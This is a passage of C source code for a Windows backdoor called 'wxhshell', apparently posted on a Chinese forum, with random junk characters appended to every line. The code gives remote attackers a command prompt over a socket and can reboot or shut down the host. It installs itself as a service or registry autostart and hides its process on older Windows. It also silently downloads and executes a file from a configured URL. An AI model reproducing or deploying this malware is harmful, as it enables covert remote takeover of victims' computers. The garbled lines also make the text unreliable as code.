      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b-1cA1#_cP  
    break; !NNq(t  
  } dJZMzn  
  // 安装 J~6-}z   
  case 'i': { >&|C E2'  
    if(Install()) _7AR2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5/:BtlFx  
    else VPB,8zb ]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bN6FhKg|  
    break; cI9}YSk  
    } ~v 2E<S3  
  // 卸载 <mm. b  
  case 'r': { ^MyuD?va  
    if(Uninstall()) M>pcG.6V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `Ns$HV  
    else ZYy,gu<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q)\~=/L b  
    break; y^o*wz:D*  
    } bIR AwktD  
  // 显示 wxhshell 所在路径 R89 ;<,Ie  
  case 'p': { r*|#*"K"a  
    char svExeFile[MAX_PATH]; ay\e# )  
    strcpy(svExeFile,"\n\r"); ?I6us X9$  
      strcat(svExeFile,ExeFile); nV|H5i;N7  
        send(wsh,svExeFile,strlen(svExeFile),0); eB`7C"Z  
    break; NArql  
    } %"2 ;i@  
  // 重启 : GZx-  
  case 'b': { ^6*2a(S&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d66 GO];"  
    if(Boot(REBOOT)) Jl-Lz03YG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YxEc(a"  
    else { K5O#BBX=  
    closesocket(wsh); zFy0Sz F  
    ExitThread(0); wzr3 y}fCe  
    } u? a*bW  
    break; p#VA-RSUQ|  
    } N|n"JKw)  
  // 关机 ,4bqjkX5q  
  case 'd': { "T`Q,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xwZcO  
    if(Boot(SHUTDOWN)) 28KS*5S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  a=<l}`*  
    else { Le&SN7I  
    closesocket(wsh); r sf +dC  
    ExitThread(0); ]V,wIy C  
    } Sga/i?!  
    break; nATEv2:G  
    } Voi`OCut  
  // 获取shell fdIO'L_  
  case 's': { > .L\>  
    CmdShell(wsh); 1 m)WM,L  
    closesocket(wsh); gpBpG  
    ExitThread(0); ^-, aB  
    break; UN7>c0B  
  } "r6DZi(^K  
  // 退出 }B=`nbgIG7  
  case 'x': { orB8q((  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;(cq aB  
    CloseIt(wsh); #$&!)13  
    break; l.r i ]e  
    } |[ymNG  
  // 离开 *_ 2db   
  case 'q': { D<=:9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); nE!h&}(  
    closesocket(wsh); (nWi9(}J  
    WSACleanup(); A.a UWh  
    exit(1); y^vB_[6l  
    break; -nbo[K  
        } 86c@Kk7z  
  } 8+ P)V4}  
  } >z'kCv  
a?4'',~  
  // 提示信息 Nwu,:}T  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }g1V6 `8&  
} %#!`>S)O  
  } 6Z:<?_p%7g  
y\]~S2}G  
  return; (Ev/R%Z  
} wAC*D=Qj  
bLrC_  
// shell模块句柄 2f'3Vjp~G  
int CmdShell(SOCKET sock) | |=q"h3(  
{ #7!P3j  
STARTUPINFO si; ?lg  
ZeroMemory(&si,sizeof(si)); w)A@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fiuF!<#;6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $q_e~+SXT  
PROCESS_INFORMATION ProcessInfo; ZT>?[`Vgc  
char cmdline[]="cmd"; &F4khga`^:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V) #vvnq  
  return 0; bL: !3|M  
} g4(vgWOW`  
,G,'#]  
// 自身启动模式 "pdq_35  
int StartFromService(void) W,<P])  
{ Q;]g9T[)  
typedef struct S2/6VoGE  
{ 8]!%mrS  
  DWORD ExitStatus; r|U'2+vn  
  DWORD PebBaseAddress; 8`e75%f:2  
  DWORD AffinityMask; =+K2`=y;WF  
  DWORD BasePriority; zmV5k  
  ULONG UniqueProcessId; %E\&9,  
  ULONG InheritedFromUniqueProcessId; L0\97AF  
}   PROCESS_BASIC_INFORMATION; 0G-M.s}A  
Jx# r  
PROCNTQSIP NtQueryInformationProcess; `Zn2Vx  
{U:c95#.!S  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qDR`)hle  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *>x~`  
`m N*"1p-  
  HANDLE             hProcess; =|lw~CW  
  PROCESS_BASIC_INFORMATION pbi; |P{K\;-  
A^/$ |@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); MO7:ZYq  
  if(NULL == hInst ) return 0; Vo@[  
mK!73<p_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jfxW9][   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); RQzcsO  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Tk[`kmb  
y6.Q\=  
  if (!NtQueryInformationProcess) return 0; 1 J3h_z6/  
gv7(-I  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k)VoDxMKK  
  if(!hProcess) return 0; k5]M~"  
J&%d(EJM  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U%2[,c_  
K OZHz`1!  
  CloseHandle(hProcess); {fi:]|<1h  
W'f{u&<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ey5E1$w%&  
if(hProcess==NULL) return 0; Z:Hk'|q}I  
crV2T  
HMODULE hMod; iHKWz)0  
char procName[255]; ^j"*-)R  
unsigned long cbNeeded; m2!y;)F0  
i qCZIahf  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dA;f`Bi;Q  
c< ke)@  
  CloseHandle(hProcess); `4 Jlf!  
*], ]E;  
if(strstr(procName,"services")) return 1; // 以服务启动 wYTF:Ou^5~  
o $k1&hyH  
  return 0; // 注册表启动 IuJj ;L1  
} 0~qnwe[g}  
%<x2=#0  
// 主模块 /\=syl  
int StartWxhshell(LPSTR lpCmdLine) L;a> J  
{ tvH{[e$  
  SOCKET wsl; X{SD3j=G#  
BOOL val=TRUE; P{ AJH1  
  int port=0; 2jQ|4$9j  
  struct sockaddr_in door; h=uv4&  
OidF{I*O  
  if(wscfg.ws_autoins) Install(); wyqXD.o f  
3Lx]-0h  
port=atoi(lpCmdLine); S|U/m m  
bL`O k  
if(port<=0) port=wscfg.ws_port; &%QtUPvr9  
(h NSzG\  
  WSADATA data; _<?lP$Xr  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <^}{sdOyu  
VH&6Tm1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :Gyv%> .  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $7q'Be@{  
  door.sin_family = AF_INET; \IZfp=On  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); K 2J DG.<  
  door.sin_port = htons(port); 6PETIs  
/aa'ryl_%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @/6cEiC+r\  
closesocket(wsl); Go>_4)jy  
return 1; k(>hboR5n  
} !b<c*J?f  
!o.l:Mr  
  if(listen(wsl,2) == INVALID_SOCKET) { !^ko"^p  
closesocket(wsl); ZU%7m_zO  
return 1; (/J$2V5-  
} 86J7%;^Xa  
  Wxhshell(wsl); 5;=,BWU  
  WSACleanup(); I2JE@?  
?(Dk{-:T'  
return 0; RC5b'+E&#  
t\2Lo7[Pu  
} $E;`Y|r%WK  
qV57P6<  
// 以NT服务方式启动 x%kS:!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $j(2M?.>#  
{ g%1FTl  
DWORD   status = 0; #S+GI!  
  DWORD   specificError = 0xfffffff; cE S3<`[K  
" $5J7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;74hOHDS  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [eV!ho*r  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0( fN  
  serviceStatus.dwWin32ExitCode     = 0; '+tU8Pb  
  serviceStatus.dwServiceSpecificExitCode = 0; ndRy&[f7  
  serviceStatus.dwCheckPoint       = 0; ]<D9Q>  
  serviceStatus.dwWaitHint       = 0; }5#<`8  
MW%EJT>@z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;Wjb}_V:_  
  if (hServiceStatusHandle==0) return; YKbR#DC\  
;5 W|#{I  
status = GetLastError(); OA#AiQUR  
  if (status!=NO_ERROR) mgeNH~%m@*  
{ = E'\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; g0w<vD`<g  
    serviceStatus.dwCheckPoint       = 0; $0rSb0[  
    serviceStatus.dwWaitHint       = 0; #7OUqp  
    serviceStatus.dwWin32ExitCode     = status; 3^kZydZ CN  
    serviceStatus.dwServiceSpecificExitCode = specificError; FilHpnQCt  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); W.h6g8|wx  
    return; CA[-\>J7y  
  } !( xeDX  
hz8Y2Ew  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; r 5::c= Cl  
  serviceStatus.dwCheckPoint       = 0; n m4+$GW   
  serviceStatus.dwWaitHint       = 0; F-%wOn /  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); l%h0x*?$  
} v*}r<} j  
Mfjj+P  
// 处理NT服务事件,比如:启动、停止 pQc5'*FKd  
VOID WINAPI NTServiceHandler(DWORD fdwControl) o@[yF<  
{ ;j]0GD,c$  
switch(fdwControl) F$Q( 2:w  
{ F)4Y;;#  
case SERVICE_CONTROL_STOP: &mj98  
  serviceStatus.dwWin32ExitCode = 0; {<7!=@j  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; r (Ab+1b  
  serviceStatus.dwCheckPoint   = 0; +o)o4l%3  
  serviceStatus.dwWaitHint     = 0; j["b*X`8G  
  { d[ql7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )24r^21.q  
  } `mV&[`NZ  
  return; i,>yIPBU!  
case SERVICE_CONTROL_PAUSE: B5"(NJ;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^]}UyrOn  
  break; fw@n[u{~  
case SERVICE_CONTROL_CONTINUE: '6*^s&H~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; H8j#rC#&pm  
  break; 3A2X1V"  
case SERVICE_CONTROL_INTERROGATE: G" &9u2k  
  break; X $LX;Lv  
}; Y85M$]e,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <^+~? KDZM  
} f]H[uzsV  
iTi]D2jC  
// 标准应用程序主函数 `Y `Ujr\6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) n2\;`9zm  
{ _SM5x,Zd  
e_6VPVa  
// 获取操作系统版本 (i4=}Kn2  
OsIsNt=GetOsVer(); .XR`iX Y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &VtTUy}  
Uu xbN-u  
  // 从命令行安装 ,Z*Fo: q  
  if(strpbrk(lpCmdLine,"iI")) Install(); o|lEF+  
RYzDF+/  
  // 下载执行文件 D4%5T>^LW[  
if(wscfg.ws_downexe) { h?[3{Z^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JgXP2|Y!  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ld>y Fb(`  
} n@[&SgZq  
<oG+=h  
if(!OsIsNt) { ] fz0E:x  
// 如果时win9x,隐藏进程并且设置为注册表启动 iK{ a9pt  
HideProc(); in_~,fd  
StartWxhshell(lpCmdLine); !|K~)4%rj  
} Z+h^ ie"g  
else /7#KkMg  
  if(StartFromService()) `HXP*Bp#  
  // 以服务方式启动 [*ylC,w  
  StartServiceCtrlDispatcher(DispatchTable); jO\29(_  
else  ?CKINN  
  // 普通方式启动 w7NJ~iy  
  StartWxhshell(lpCmdLine); 4G;FpWQm  
[|PVq#(  
return 0; D@"g0SW4  
}
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只看该作者 1 发表于: 2006-10-10
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